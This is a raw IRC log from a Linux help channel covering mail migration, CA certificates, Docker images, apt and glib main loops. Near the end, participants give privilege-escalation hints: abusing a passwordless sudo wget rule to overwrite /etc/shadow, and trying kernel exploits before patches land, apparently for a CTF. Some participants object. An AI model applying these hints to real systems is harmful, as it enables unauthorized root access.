--- Log opened Tue Jul 10 00:00:17 2018 --- Day changed Tue Jul 10 2018 00:00 < sadasaulna> hexoroid: man you're out of your depth so badly I feel sorry for you 00:00 < hexoroid> yeah thats hard part 2 tb of migration of dovecot 00:00 < meyou^> each message should just be a file in a folder then right? 00:00 < hexoroid> on this crappy 0.5 mb upload connection 00:01 < sadasaulna> oh so now its dovecot, at least we have answer to the question what IMAP server are you running 00:01 < hexoroid> yeah i will try to replace it in var mail wherever mail is stored its just 1 tb thats killing me 00:02 < meyou^> still don't see why you don't just add storage to the existing box 00:02 < hexoroid> sadasauln like who doesnt use dovecot these days 00:02 < meyou^> instead of migrating terabytes through a tiny pipe 00:03 < sadasaulna> hexoroid: I asked you what MTA and what IMAP server before and you said "SMTP", not exactly a lot to go on 00:03 < hexoroid> meyou understands what i am saying you are on some ohter level 00:03 < hexoroid> i have seen people pull it off with two different servers 00:04 < sadasaulna> thank god someone understands 00:05 < ayecee> ♫ you've got a friend in meyou ♫ 00:05 < bls> you can have two different IMAP servers, but you either have to treat them like separate accounts or have shared storage between them 00:05 < sadasaulna> bls: don't confuse him ;) 00:06 < ayecee> too late 00:06 < ayecee> the damage is done 00:06 * notmike plays the uke 00:06 < sadasaulna> true ayecee 00:07 < sadasaulna> hexoroid is going to science the shit out of it though 00:07 < meyou^> i mean maybe there's some exchange-style functionality with dovecot that'll let you move some mailboxes off or create whatever the equiv of a database availability group is 00:08 < meyou^> never heard of it though 00:08 < notmike> Like roaming profiles 00:09 < p0a> Hello 00:09 < sadasaulna> look, he's either going to end up with two unsynced copies of his users mail, or he's gonna need to know what he's doing. I've run mailservers for 15K users, and this guy frightens me. 00:09 < p0a> I messed up with my ssl files & certs (deleted them) so now I can't use `wget'. How can I fix this? 00:10 < bls> sarbanes and oxley were nerds anyway :P 00:10 < aaro> p0a: wget --no-check-certificate 00:11 < p0a> aaro: how can I instead have some certs that I trust? my issue is that I ended up installing a package that installed a lot of certs that I did not want 00:12 < hexoroid> POP3/IMAP: Picking Up Your Email Remotely With Dovecot with two different servers.. different IP's with MX records set 00:12 < hexoroid> that was the question 00:12 < meyou^> p0a, sounds like you trashed your ca certs, if you're on a redhat variant this should help https://access.redhat.com/solutions/1549003 00:12 < p0a> meyou^: yup, I did. It's debian 00:12 < sadasaulna> hexoroid: fine, and what is the single server the two imap servers get that mail from, or are you running shared storage? 00:13 < sadasaulna> if you're running out of space, just stop accepting new email. You'll be able to accept IMAP requests still. 00:13 < Psi-Jack> Well, you could of course use dsync to replicate storage accross multiple servers. 00:13 < hexoroid> its not shared storage its coompletely different hard drives 00:14 < Psi-Jack> Otherwise, it's up to the $HOME directory of the user according to the user lookup database. 00:14 < sadasaulna> on any big mail setup you're not delivering to $HOME 00:14 < hexoroid> sadasaulna when you say stop running you mean to stop the service 00:14 < meyou^> p0a, sudo apt-get install --reinstall ca-certificates 00:15 < meyou^> see if that does the trick 00:15 < p0a> meyou^: nice! 00:15 < Psi-Jack> sadasaulna: Well, that depends. $HOME is just where the Dovecot perceives is the "Home" directory, whether it be a real user, or not. 00:15 < sadasaulna> hexoroid: if you've got no space to accept new delivery you haven't much of a choice, but you could change the incoming MX to point at a server that will later deliver it to the main server once you've got more space 00:15 < sadasaulna> ie queue it 00:16 < hexoroid> i will just copy dovecot folders and put them on the new server its just hard with this terrible connection 00:16 < hexoroid> there is isync online from one server to another but not sure how well that works tho 00:16 < sadasaulna> I can't take this anymore... hexoroid have you considered that you don't know what you're doing? 00:17 < hexoroid> sadasaulna why > are you saying that its hard to migrate dovecot mail 00:17 < hexoroid> on new linux machine 00:17 < p0a> meyou^: didn't work, I also got org.debian.security.InvalidKeystorePasswordException: Cannot open Java keystore. Is the password correct? 00:18 < sadasaulna> hexoroid: queue the incoming mail, migrate, push the queued mail to the new server. Done. So no its not hard its easy. 00:18 < hexoroid> sadasaulna there is always /ignore hexoroid 00:18 < hexoroid> it helps 00:18 < hexoroid> sadsaulna and what was i saying all this time > 00:19 < sadasaulna> so get on and do it, what is your damn question? 00:19 < hexoroid> new mail is not the problem old mail is the problem moving it 00:20 < Psi-Jack> hexoroid: Maildir? mdbox? 00:20 < sadasaulna> hexoroid: why? Once you're queueing the incoming you rsync the old mail to the new server, setup MTA on the new server, repoint MX. 00:20 < notmike> But it's hard 00:20 < hexoroid> Maildir 00:21 < Psi-Jack> Simple. Queue mail instead of deliver. rsync. Point mailserver to new dovecot server, Deliver. 00:21 < Psi-Jack> Tada! 00:21 < sadasaulna> Psi-Jack: what I just said :) 00:21 < Psi-Jack> Yep. 00:22 < meyou^> order a snowball 00:22 < hexoroid> so i will just do that and viola thats whyat i was explaining sadasulna all this time it was just my connection that was causing the issue 00:22 < meyou^> build new dovecot in aws 00:22 < Psi-Jack> Ugh.. snowballs are extremely expensive. 00:22 < meyou^> yeah incredibly overkill for a couple TB 00:23 < sadasaulna> hexoroid: I can't help your bandwidth issues. Maybe you should rephrase the question instead of talking in circles about mail tech 00:23 < meyou^> but the poor man's snowball, a USB disk or QNAP would work 00:23 < Psi-Jack> Ewww, QNAP? You don't care much for your data, do you? 00:23 < sadasaulna> so now it sounds like your question is "I have some TB of mail to deliver but my connection sucks" 00:23 < xamithan> Whats wrong with qnap if you got backups 00:23 < sadasaulna> /s/deliver/copy 00:24 < meyou^> they get the job done 00:24 < Psi-Jack> xamithan: Their reliability for one. :) 00:24 < meyou^> even though their eSATA ports are USB->eSATA adapters internalized and plugged into the usb header on the mobo 00:26 < p0a> meyou^: but firefox seems to open https://google.com/ 00:26 < meyou^> ff has its own cert store 00:27 < p0a> meyou^: can I copy it for wget and other stuff in my distro? 00:27 < meyou^> option 2 might be a winner for ya though, i don't have any firsthand knowledge on that one: https://askubuntu.com/questions/420860/problem-with-certificates 00:27 < meyou^> there's config files that will be pointing to certain ca cert files so it's unlikely you could just copy something from FF no 00:28 < p0a> alright that looks good 00:28 < p0a> I'll give it a shot and if it doesn't work I might just reinstall everything 00:30 < p0a> meyou^: hey it worked! nice 00:30 < p0a> meyou^: so what happened with those commands? I am not sure 00:32 < p0a> thank you for the help 00:50 < Nexilva> back, 120gb pny ssd cost $32 with tax at best buy, got bodhi linux and lubuntu qt downloaded 00:51 < Nexilva> got 64 gb flash drive somewhere, gotta prepare, gonnna check out these distros 00:51 < demio> folks 00:51 < demio> anyone here 00:51 < xamithan> Tell us how good it works 00:51 < Wulf> demio: nope 00:51 < demio> :( 00:51 < demio> i have a weird problem 00:51 < demio> i upgraded my base image 00:52 < demio> from alpine 3.7 to 3.8 00:52 < demio> and it balooned from 95mb to 300mb 00:52 < Nexilva> I googled the part name for my sdram dimm o google, ebay says 18 buck free shipping, so I can double my ram in 18 bucks, and 32 bucks for ssd, so $50 can make my laptop catch up to performance/speed 00:52 < Nexilva> :D 00:52 < Wulf> demio: how did you upgrade it? 00:52 < Psi-Jack> demio: Tried the alpine linux channel? 00:52 < demio> https://github.com/aruki-delivery/elixir-base/blob/master/Dockerfile 00:52 < demio> which one is that? 00:52 < demio> i upgraded it 00:52 < Wulf> demio: ask alis 00:52 < demio> by changing FROM alpine:3.7 into FROM alpine:3.8 00:52 < demio> :P 00:52 < demio> its docker baby 00:53 < Wulf> whose? 00:53 < Psi-Jack> demio: According to alis, looks like #alpine-linux 00:53 < demio> woop 00:54 < bls> that dockerfile adds then removes a bunch of stuff. if it was written for the default 3.7 package list, there may be things that've changed names, dependencies, or gotten included by default in 3.8 that aren't being removed 00:55 < bls> if you want to know what's different between two OS releases, check the release notes 00:55 < CableNinja> relase notes?!?!?! *mind blown* 00:56 < xamithan> no one reads the manual or notes 00:56 < CableNinja> rtfm = remove the friggin manual 00:56 < xamithan> They should turn it into popups, like ads 00:56 < CableNinja> that'd definitely ensure no one reads them 00:57 < aaro> read that fine manual 01:02 < Psi-Jack> Ugh... Fun... One of my Debian 9 instances is failing to shut down that happens to run my percona server 5.7. 01:03 < Loshki> There are things you can only learn from the manual. Reading is one of things that separates good engineers from great ones. 01:04 < Randolf> Apparently there's a Linux update called "Secure Boot chain-loading bootloader (Microsoft-signed binary)." I thought Linux was supposed to work without any dependencies on Microsoft. I definitely don't want Microsoft having anything to do with my Linux installation. Does anyone know anything about this update? 01:04 < boingolov> Loshki: There are things you can only learn from reading the source code too 01:05 < CableNinja> Randolf I'm betting it enables you to leave Secure Boot on 01:05 < CableNinja> beyond that, idk what 01:05 < bls> Randolf: as part of secure boot, you have have a trusted bootloader. who do you think gets to decide what is and isn't trusted in the PC world? 01:05 < boingolov> Randolf https://packages.debian.org/testing/utils/shim-signed 01:06 < Loshki> boingolov: agreed 01:06 < CableNinja> boingolov, I have some hardware that allows us to say we trust a bootloader/install 01:06 < CableNinja> its not fantastic, but its there 01:07 < Randolf> bls: Damn. So in my quest to get away from Windows 10 (because it kept b0rking itself beyond repair), I'm stuck having to put up with having Microsoft fondling my boot process? 01:07 < CableNinja> turn secure boot off 01:07 < bls> you can turn secure boot off 01:07 < Randolf> As far as I know, secure boot is off. 01:08 < bls> the distro may still try to install support for it 01:08 < Randolf> I'm very apprehensive about Microsoft being involved in my Linux installation. After all the horrible experiences I had with Windows, I'm trying to steer clear of M$. 01:09 < CompanionCube> if secure boot is off a MS-signed bootloader does precisely nothin 01:09 < Psi-Jack> I'm anti-microsoft myself, but still, it's MS or MicroSoft, not M$. No need to bully them like that. 01:10 < bls> http://www.penny-arcade.com/comic/2002/07/22 01:11 < Randolf> Psi-Jack: Bully them? They're the bully. 01:12 < simpledoc> Randolf: ubuntu? 01:12 < Randolf> CompanionCube: Thanks. I just learned from some Ubuntu folks that it's just a digital signature and doesn't actually bring any Microsoft code into the boot process. 01:12 < Randolf> simpledoc: Yes. 01:12 < Psi-Jack> Randolf: Did they corner you in the boys locker room? 01:12 < CompanionCube> Randolf: indeed 01:13 < simpledoc> Randolf: https://wiki.ubuntu.com/UEFI/SecureBoot/Testing maybe this helps you 01:14 < Randolf> Psi-Jack: No, they cornered themselves by automatically updating, on multiple occasions, in the middle of work I was doing, then rebooting into a non-repairable state. 01:15 < Randolf> Psi-Jack: In the past year I've probably wasted well over 100 hours of my time screwing around with Windows problems, most of which showed up after automatic updates changed something. 01:15 < Psi-Jack> Seems your definition of bullying is incorrect. 01:16 < Randolf> Psi-Jack: I think you need to work on your trolling techniques. 01:16 < Psi-Jack> Oh? Now you're just being rude to me too. 01:16 < Randolf> No, I'm giving you constructive feedback. 01:17 < Randolf> Linux does everything for me at least twice as fast as Windows did on this hardware. Some things are up to 10 times faster, like booting, or starting a web browser with 50 tabs re-opening from the last session (on Windows this took up to 5 minutes, but on Linux it takes less than 2 seconds). 01:18 < Randolf> Some things are just so dramatically faster that there's no point in really measuring much faster they are. 01:18 < Randolf> So, kudos to the Linux developers for making efficient and stable software. 01:24 < Loshki> I had to boot windows 10 on my bardware in order to run Garmin's stupid map updater. Booting and running windows runs about an order of magnitude slower than Ubuntu on the same hardware. 01:25 < Psi-Jack> Oooooh... What's this new bardware technology? ;) 01:25 < Loshki> bardware is Shakespearian technology 01:25 < Psi-Jack> Software that sings to you, rants on tall tale stories, while stealing from you? ;) 01:27 < ayecee> all while making your girl swoon 01:27 < Psi-Jack> Ahh yes, forgot that part. :) 01:33 < saderror256> hi 01:46 < okee> Does anyone have experience with a keyboard problem on the System76 computer? Keyboard jumps around, erases space, and looses cursor. I read online that keyboard issues with Cleavo computers is well documented, but wondering if this is a problem that can be fixed? Or should I send I send the computer back? The screens are nice and bright with a high contrast ratio, but the keyboard is terrible. 01:47 < phogg> okee: call their tech support and ask 01:47 < okee> Also, I decided to get rid of gnome and pop, and just go with Debian stable xfce or LMDX. It is a lot more stable and uses less power. 01:48 < okee> phogg> I have already spoken their tech support and they are going to try and get it repaired. A different brand of keyboard would probably help. Any suggestions on keyboard manufacturers? 01:51 < bls> okee: those systems are notorious for garbage keyboards. they've got replacements parts that are slightly better, but it's never going to be great 01:51 < masber> good morning, free shows most of my swap is used, I want to know which process is taking it and why. I tried smem but does not show what I am looking for https://bpaste.net/show/7e6ec453d593 Any though? 01:52 < kline> okee, clevo is trash 01:52 < saderror256> is there a irc community for thinkpads? 01:52 < saderror256> *room 01:52 < kline> sdamashek, ##ibmthinkpad 01:52 < kline> channel is the word 01:53 < saderror256> i mix them up 01:53 < bls> saderror256: /msg alis list yoursearchtermhere 01:53 < okee> Kline> Am I correct that System76 is omade by Clevo? 01:54 < kline> okee, no, System76 are a computer assembler with great aims and stuff, but they - as the name suggests - assemble from other parts 01:54 < okee> kline> Do you know of another manufacturer other than Apple that has super bright screens? Dell has the Precision model, which is nominally more mone, and the motherboard has fewer ports.y 01:54 < kline> clevo is a manufacturer of generic/resellable chassis for other companies 01:54 < SolarDegree> I get: 01:54 < SolarDegree> ¯¥_(ツ)_/¯ 01:54 < SolarDegree> instead of ... 01:54 < SolarDegree> ¯\_(ツ)_/¯ 01:55 < bls> system76 has rebadged clevo, msi, and a couple other non-name vendors 01:55 < kline> basically system76 isnt in the business of enclosure design, they buy laptop chassis from clevo who are pretty much the best of a bad bunch, because no one is making good generic laptop chassis 01:55 < kline> basically system76 isnt in the business of enclosure design, they buy laptop chassis from clevo who are pretty much the best of a bad bunch, because no one is making good generic laptop chassis 01:56 < kline> then they put in the active components and software 01:56 < SolarDegree> enclosed system: https://fit-iot.com/web/ 01:57 < kline> SolarDegree, not very good for laptops though 01:57 < kline> and much easier to produce well 01:57 < SolarDegree> System: Host MacBook-Pro Kernel 4.15.0-24-generic x86_64 bits 64 Desktop Xfce 4.12.3 01:57 < SolarDegree> Distro Linux Mint 19 Tara 01:57 < kline> laptop chassis are basically already miracles of mechanic and product engineering 01:57 < SolarDegree> kline: I just repurp Macs 01:58 < kline> SolarDegree, the age of many macbooks are an indication of how badly modern apple laptops are going, sadly 01:58 < tx> turn them into door stops? 02:03 < salasrod> masber: `top` might help you if you enable swap usage, could have the same problem as SMEM though. 02:04 < salasrod> masber: Not enable, I meant add the column 02:05 < SolarDegree> So the Linux prime directive is: "Treat all users with respect." ( Source: https://opensource.com/business/14/12/linux-philosophy ) ? 02:05 < ayecee> sounds like a good policy 02:06 < phogg> SolarDegree: that doesn't sound like anybody's actual policy 02:06 < triceratux> for the sake of argument, sure 02:06 < ayecee> though like anything linux, it's hard for one site to espouse a policy about it. 02:07 < ayecee> that is in fact globally applicable, at least. 02:07 < phogg> The community is too broad and ever-changing, like the sea. 02:07 < xamithan> What is the stallman policy then 02:07 < phogg> the Linux prime directive is to make software better, and then share it 02:07 < ayecee> also to not interfere with developing cultures 02:08 < phogg> xamithan: that's easy: the four freedoms 02:08 < SolarDegree> phogg: not every Linux "user" makes software or makes software better 02:08 < phogg> SolarDegree: Not every Linux user is "Linux." The primary driving factor behinds Linux culture is to improve and then share, that's my view. Respect sometimes happens, but that's not the goal. 02:10 < SolarDegree> phogg: I'd be in violation of the Prime Directive if I didn't agree 02:10 < SolarDegree> So the Linux prime directive is: "Treat all users with respect." ( Source: https://opensource.com/business/14/12/linux-philosophy ) 02:10 < ayecee> that is very respectful of you 02:11 < phogg> SolarDegree: That article posits that as a summary of the various philosophies behind Linux. It's not in any way authoritative. 02:11 < phogg> Nor is it, I think, accurate. Just read the LKML for a while. 02:12 < phogg> Engineering and sharing are what drive Linux. Some people are treated very badly during the process. 02:12 < SolarDegree> Wikipedia of 'Unix philosophy' is: https://en.wikipedia.org/wiki/Unix_philosophy 02:13 < SolarDegree> phogg: some users of Linux never are Engineers or Developers 02:13 < phogg> SolarDegree: They are free to do what they like, but they don't contribute to the philosophy of the OS. 02:14 < phogg> If you aren't part of the community then you're not influencing it. 02:14 < SolarDegree> phogg: I disagree, without users, it's just a project 02:14 < phogg> SolarDegree: It is in fact just a project. 02:14 < SolarDegree> phogg: you can influence with your voice and your art and your sharing of information and knowledge 02:15 < phogg> a project of widely accepted utility 02:15 < SolarDegree> phogg: so it's not an OS then? 02:15 < phogg> SolarDegree: Linux is an OS project. 02:15 < SolarDegree> Linux is a kernel 02:15 < phogg> Let's not continue to uselessly split hairs. 02:15 < phogg> A kernel is an OS. So is a kernel plus a lot of other things. Linux is a kernel. 02:16 < phogg> I don't think your article was talking about only Linux-the-kernel when speaking of philosophy, so nor was I. 02:16 < SolarDegree> GNU/Linux is OS not simply the kernel 02:16 < SolarDegree> users don't typically interact with a kernel 02:16 < lnnb16_t> of course it's not just a kernel, that kernel would instantly panic without pid 1 executing 02:16 < SolarDegree> userspace exists for a reason 02:16 < lnnb16_t> but what does it really matter 02:17 < phogg> The users don't matter, they're not part of what creates the philosophy of the system. They experience it, and they *may* come to be part of it, but they aren't driving anything. 02:17 < SolarDegree> So the Linux prime directive is: "Treat all users with respect." ( Source: https://opensource.com/business/14/12/linux-philosophy ) 02:17 < phogg> SolarDegree: No, it's not. That's just some writer who summarized it that way. You can re-link the article a thousand times and it will not be any more true. 02:17 < bls> that's one company's opinion 02:17 < monty86> what is userspace? 02:18 < SolarDegree> phogg: I don't think either I nor you are authoritative to say what is or isn't the philosophy of Linux, it's more than just you or I 02:18 < bls> I could just as easily argue the linux prime directive is: don't break userland 02:18 < lnnb16_t> does it say anything about "treating.*with respect"like that in the Documentation directory 02:18 < phogg> SolarDegree: Userspace exists because that's how Unix works. Even Linus Torvalds is a user of Linux, and to be useful to him it has to exist. 02:18 < SolarDegree> phogg: now your just twisting words to say the same thing I did 02:19 < phogg> SolarDegree: You sound like you're attempting to assert a truth which is, on its face, highly questionable. FYI, your source of authority is bogus. I am trying to provide you a little perspective and a definition which is more accurate. It's just my opinion, just like the one in the article you favor. 02:19 < lnnb16_t> prime directive is supposed to be "we don't break userspace" or soemthing along those lines, still people ignore it. 02:19 < phogg> SolarDegree: No. I'm saying a user who is *non-contributing* is not participating in *defining* the "philosophy of the OS" and could disappear without changing that philosophy. 02:19 < SolarDegree> bls: right, that's the respect of your prerogative vs mine in the indication of what the prime directive is. 02:19 < ayecee> so meta 02:20 < ayecee> uh oh. ten dollar words coming out. 02:20 < phogg> bls: that's certainly a prime directive of the kernel itself! 02:20 < ziggylazer> hehe 02:20 < ziggylazer> This is summer irc for yah 02:20 < SolarDegree> phogg: just using it is contributing 02:21 < ayecee> that's how i feel about the "take a penny, leave a penny" trays 02:21 < phogg> SolarDegree: No, no it is not. If you don't communicate you're doing nothing to define the philosophy. 02:21 < SolarDegree> phogg: you're the one attempting to assert a truth 02:21 < phogg> SolarDegree: You seem to be disconnected from the practical realities of how human societies operate. 02:21 < bls> is this one of those "linux should be trying to reach out to, win over, and support to non-technical/non-developer users" arguments? 02:21 < ziggylazer> ayecee, never seen one of those 02:21 < phogg> bls: ugh, I hope not 02:22 < ayecee> ziggylazer: come to think of it, i haven't seen one recently. i guess people don't pay in cash as often now. 02:22 < phogg> ziggylazer: Maybe it's regional. They're all over the parts of the USA I've been to. 02:22 < phogg> I call them "penny trash cans." Can't stand carrying pennies around 02:22 < ayecee> except in the US, because credit cards are still a pain there. 02:22 < phogg> Four is my limit. After that it's just no fun. 02:22 < kerframil> monty86: generally, all the code that doesn't run in kernel mode (CPU ring 0) 02:23 < monty86> oh ok 02:23 < phogg> User space is like another dimension you travel to when you pass through the system call. 02:23 < ziggylazer> well, cash seems safer then CC 02:24 < phogg> ziggylazer: until you get mugged 02:24 < ayecee> except that you have to carry cash around, and the store owner has to pay to deposit it 02:24 < ayecee> and also has to carry it around 02:24 < phogg> I use cash for everything in meatspace. I like to believe I get tracked less that way. 02:24 < ziggylazer> There is tha 02:24 < ziggylazer> t 02:24 < gkwhc> hey guys, im transitioning from archlinux to debian. but for the life of me i cant seem to find how to remove a package along with its dependencies. googling says "apt-get remove " but that only removes the package, not also the installed dependencies as pacman -Rssu in arch. any ideas? 02:24 < lnnb16_t> or if the cops rob you on the highway for it 02:25 < ayecee> gkwhc: apt-get remove package; apt-get autoremove 02:25 < phogg> gkwhc: apt-get autoremove 02:25 < phogg> gkwhc: this will remove all packages which were installed automatically to satisfy a dependency but are no longer required 02:25 < ayecee> but won't uninstall packages that were explicitly installed 02:25 < phogg> gkwhc: you can't do it for a dep tree for a single package; instead it works across the entire system 02:26 < ziggylazer> We dont use cash in Sweden anymore. And 2 step verification on creditcards 02:26 < ayecee> the "deborphan" program is also very handy to see what's installed that nothing depends on. 02:26 < phogg> gkwhc: unless you have a serious disk space deficiency I say just leave 'em. They'll get swapped out as needed anyway. No need to trouble yourself. 02:26 < ziggylazer> ^^ 02:27 < gkwhc> ayecee, phogg: autoremove reports 0 to remove oddly. for example im working with the package 'pasystray' which has two dependencies: gnome-icon-theme and libpulse-mainloop-glib0. executing apt-get remove pasystray only removes that package, not the other two 02:27 < ayecee> kind of. it becomes a pain to reproduce a system configuration if there's a bunch of stray packages that nothing is using. 02:27 < phogg> gkwhc: something else depends on them, then 02:27 < phogg> gkwhc: Or, something else at least Recommends: them 02:27 < gkwhc> phogg: but gnome-icon-theme was newly installed 02:27 < phogg> gkwhc: try deborphan as ayecee suggested 02:27 < ayecee> gkwhc: you can find out by attempting to remove them, and see what else would be uninstalled 02:27 < lnnb16_t> wtf is libpulse-mainloop-glib0 02:28 < phogg> gkwhc: if package A Recommends: it and then package B Depends: on it, then you remove package B, then autoremove, it will not get auto-removed because something still wants it (package A) even if it was newly installed for package B. 02:28 < phogg> gkwhc: or, if you manually installed it (named it on the apt command line at install time) autoremove won't touch it. Again, deborphan for that. 02:29 < bls> I always disable recommends and suggests then enable autoremove first thing on a debian system 02:29 < phogg> lnnb16_t: likely a version of libpulse that integrates with the glib mainloop. 02:29 < gkwhc> bls: how do you do that? 02:29 < lnnb16_t> "the glib mainloop" ??? 02:29 < lnnb16_t> you know what 02:29 < lnnb16_t> i don't even want to know 02:29 < bls> gkwhc: drop a settings file in /etc/apt.conf.d (if memory serves) 02:29 < gkwhc> would disabling recommends allow apt to remove the recommends then? 02:30 < phogg> I generally don't autoremove at all. 02:30 < lnnb16_t> sup dannylee 02:30 < phogg> lnnb16_t: I would be happy to explain. 02:30 < phogg> lnnb16_t: if you like, that is 02:30 < bls> it should, yes 02:30 < ayecee> phogg: a tl;dr would be nice 02:30 < gkwhc> let me try that then 02:30 < lnnb16_t> no no that's quite alright i shouldbe doing other stuff right now anyway, phogg 02:31 < phogg> lnnb16_t: A daemon, or a graphical program, or a game will have some kind of infinite loop as it's main function. Start, check for input, handle input, loop. This is such a common architecture that we just call it "the mainloop" 02:32 < phogg> lnnb16_t: if you have a program which needs a library it can be helpful if they both expect to be called from the same "main loop". So, people abstracted the main loop into a library where your application can say "run application code when the main loop executes" and then the app can load a library that can say "and also run this when the main loop executes." 02:32 < phogg> lnnb16_t: if you don't do it that way you get two different loops yielding back and forth to each other, which gets messy and complicated 02:33 < ayecee> that was a good explanation. i learned. 02:33 < phogg> gtk has a main loop, qt has one., glib has one 02:33 < lnnb16_t> that didn't really explain anything yet regardin "the glib mainloop" and why there is a separate package for pulse audio to use "the glib mainloop" 02:33 < phogg> if you are writing an app that uses glib as its major library you probably want to use its mainloop. If you also want to use libpulse it is more efficient for it to get triggered from the same loop.] 02:34 < dannylee> i'm ok i waisted 2 hour trying to put gnome ubuntu on my machine...but i just got a thousand line of erior....so i went back too fedora 27 lxde and reinstall fedora....my machine just don`t like ubuntu 16.04 02:34 < phogg> but libpulse can't assume everyone *always* uses glib, or even has a mainloop at all, so it has to provide its own 02:35 < phogg> lnnb16_t: so this is a "integrate libpulse into my application's usage of the glib mainloop" shim, so things work more smoothly. 02:35 < lnnb16_t> for what purpose 02:35 < lnnb16_t> just so it can function? 02:35 < lnnb16_t> why not use a callback 02:35 < ayecee> it can be used that way 02:35 < phogg> lnnb16_t: for a callback to work you must *first* have a main loop. 02:36 < lnnb16_t> that's the idea 02:36 < phogg> or rather, for a signal system to work 02:36 < ayecee> it's just easier not to 02:36 < lnnb16_t> OH people are too stupid to know how to write main loops, so glib does it for them? 02:36 < lnnb16_t> that's all you had to say 02:36 < dannylee> 4 02:36 < phogg> lnnb16_t: Are you a programmer? The tl;dr is it's easier to scale systems and reason about them if you do it this way. 02:36 < ayecee> more like people don't like reinventing wheels for each program 02:36 < phogg> lnnb16_t: more like, people don't WANT to write yet-another-mainloop. 02:36 < phogg> same reason I don't want to write my own sort algorithm 02:36 < lnnb16_t> lol i guess 02:37 < phogg> I can, but it's a solved problem I can just pull from a library 02:37 < phogg> and if I share the main loop from glib I get free access to a ton of library code which integrates with it. If I don't it's more work. 02:37 < ayecee> not only that, but that library gets a lot more use and debugging than one could afford for a bespoke solution 02:37 < phogg> less work, more time for the parts of my code which are actually important to me 02:37 < phogg> don't get me wrong: Lots and LOTS of people write their own main loops. Very common. 02:38 < phogg> Just in certain scenarios you really get no benefit from that 02:38 < lnnb16_t> so i take it that glib's main loop doesn't block? 02:38 < phogg> GUI programming is the #1 example. If you're writing a Qt program the main loop is almost entirely hidden away from you. If you're running JS in a web browser it's completely hidden. 02:38 < lnnb16_t> otherwise PA would starve for input 02:39 < ayecee> wouldn't be much use in a main loop if it did 02:39 < phogg> lnnb16_t: now we're getting into specifics I can't answer. Consult the docs. 02:40 < lnnb16_t> you said you were going to explain it to me phogg :( 02:40 < phogg> lnnb16_t: it has to be reasonably efficient or no one would use it. Given that this is glib I assume there is not much of a problem with it, because C hackers are picky about performance impacts. 02:40 < phogg> lnnb16_t: you said the tl;dr version. I think I'm well past that already (-: 02:40 < ayecee> lnnb16_t: well, first we'll have to cover the definition of "the" 02:40 < ayecee> phogg: it was actually me that said tl;dr version 02:41 < phogg> oh, was it? 02:41 < ziggylazer> I got a wget question. I got sudo NOPWD to wget. if i use -O could I make wget do #!/bin/bash and thus get root? 02:41 < phogg> At any rate I think I have covered both "What is a main loop?" and "What purpose does this library serve?" 02:41 < ayecee> but i appreciate it all the same 02:41 < ziggylazer> question is syntax of wget 02:41 < lnnb16_t> i didn't ask what is "A" mainloop 02:41 < phogg> ziggylazer: try it. Short answer: no 02:41 < lnnb16_t> you made that part up yourself 02:42 < ayecee> beggars being all choosy 02:42 < phogg> ziggylazer: that said, you can exploit wget -O to get root other ways. 02:42 < phogg> ziggylazer: any time you can write a file as root you can escalate privileges 02:42 < phogg> lnnb16_t: Seemed like that was what you were asking. Sorry. 02:43 < ziggylazer> phogg, yeah but my thought that it would start a term with root privs is a nogo? 02:43 < ziggylazer> Then what other way would you recommend? 02:43 < phogg> ziggylazer: Did you try it? 02:43 < phogg> ziggylazer: recommend? I recommend knowing the root password. 02:43 < ziggylazer> No I dont have the machine up yet 02:44 < ziggylazer> phogg, That I obviously dont have 02:44 < phogg> if you really want to be fancy there are always a few local kernel exploits which are being found. Keep your eyes open and try some before the distro patches land. 02:44 < phogg> ziggylazer: why not? 02:44 < jim> ziggylazer, come on, you can't expect someone here gonna help you with a root exploit 02:45 < ziggylazer> its CTF 02:45 < ayecee> that's a paddlin' 02:45 < phogg> ziggylazer: what is CTF? 02:45 < ayecee> capture the flag 02:45 < phogg> Cheating at a game? 02:45 < ayecee> cheating at a toy game 02:45 < ziggylazer> Nah just stuck. 02:45 < phogg> ziggylazer: So trying to cheat. 02:46 < ananke> 'here, take this test for me' 02:46 < ayecee> looking for the playthrough :D 02:46 < phogg> ziggylazer: do you know how password authentication works? 02:46 * lnnb16_t throws some old cabbage 02:46 < ziggylazer> No I cant describe that process no 02:46 < phogg> ziggylazer: do you know where the fact that the root accounts exists is *defined*? Do you know where its password is stored? 02:46 < phogg> That's as good a hint as I can give. 02:46 < ziggylazer> yes 02:46 < ziggylazer> shadow 02:46 < phogg> if you know these things and you can write a file as root you can become root. 02:46 < ayecee> can you write shadow 02:47 < ayecee> because if you can it's game over 02:47 < phogg> Nuke the sight from orbit! 02:47 < phogg> er, site 02:47 < ayecee> it's the only way to move to the next level 02:47 < ziggylazer> I see. 02:48 < ziggylazer> I get it now 02:48 < ziggylazer> Thanks 02:48 < phogg> and this, kids, is why you don't allow sudo to run arbitrary commands 02:49 < phogg> especially not without a password 02:49 < ziggylazer> yet its common 02:49 < phogg> sudo is commonly misconfigured?! I am shocked. 02:49 < ananke> ziggylazer: it's not. 02:49 < phogg> shocked! 02:49 * ayecee runs arbitrary sudo commands all the time 02:49 < ayecee> with a password 02:50 < phogg> with a password required at least you prevent e.g. nobody from using sudo 02:50 < ziggylazer> If you want to run some script. It can be easy to just to it that way I guess 02:50 < phogg> more like "anybody" am I right? 02:50 < ayecee> i see what you did there 02:51 < Loshki> More mistakes made with just "rm" than with arbitrary sudo, in my experience. Of course, combine them for the big win. 02:51 < dannylee> rm -R ***** 02:51 < phogg> I see a ton of basic shell mistakes caused by people sprinkling "sudo" in the wrong places, not knowing how it works. 02:51 < Kharma> that sounds too easy :o but to write a file as root, you would need the root password, no? 02:51 < phogg> dannylee: that would actually be just fine 02:52 < dannylee> c000l 02:52 < ziggylazer> jim, sorry I didnt specify that it was for a CTF 02:52 < phogg> dannylee: or, hmm, no it would not 02:52 < dannylee> ok you won a million dollors 02:52 < phogg> ah, only in empty directories 02:53 < phogg> you'd think that consecutive * chars would be treated as literal 02:54 < phogg> Kharma: in this scenario there is a sudoers entry that lets you wget with no password. 02:54 < phogg> Kharma: exploit city! 02:54 < ayecee> ziggylazer: we don't really do ctf here either, to be fair 02:54 < phogg> I don't even know what it is. Some kind of wargame, I presume. 02:54 < ayecee> yes, pretty much 02:54 < ayecee> simulated hacks 02:55 < gkwhc> ayecee, phogg: im still lost, i disabled recommends/suggests in apt.conf and see a difference on how apt is responding, but gnome-icon-theme is still not on the remove list 02:55 < ziggylazer> can we say its summer irc and that we mabey can have some latitude ? 02:55 < Loshki> phogg: not worth writing extra code to create a special case when you can just use a backslash 02:55 < ananke> ziggylazer: no 02:55 < ziggylazer> ok 02:55 < ayecee> gkwhc: what happens when you try to remove it? 02:55 < phogg> gkwhc: it won't affect 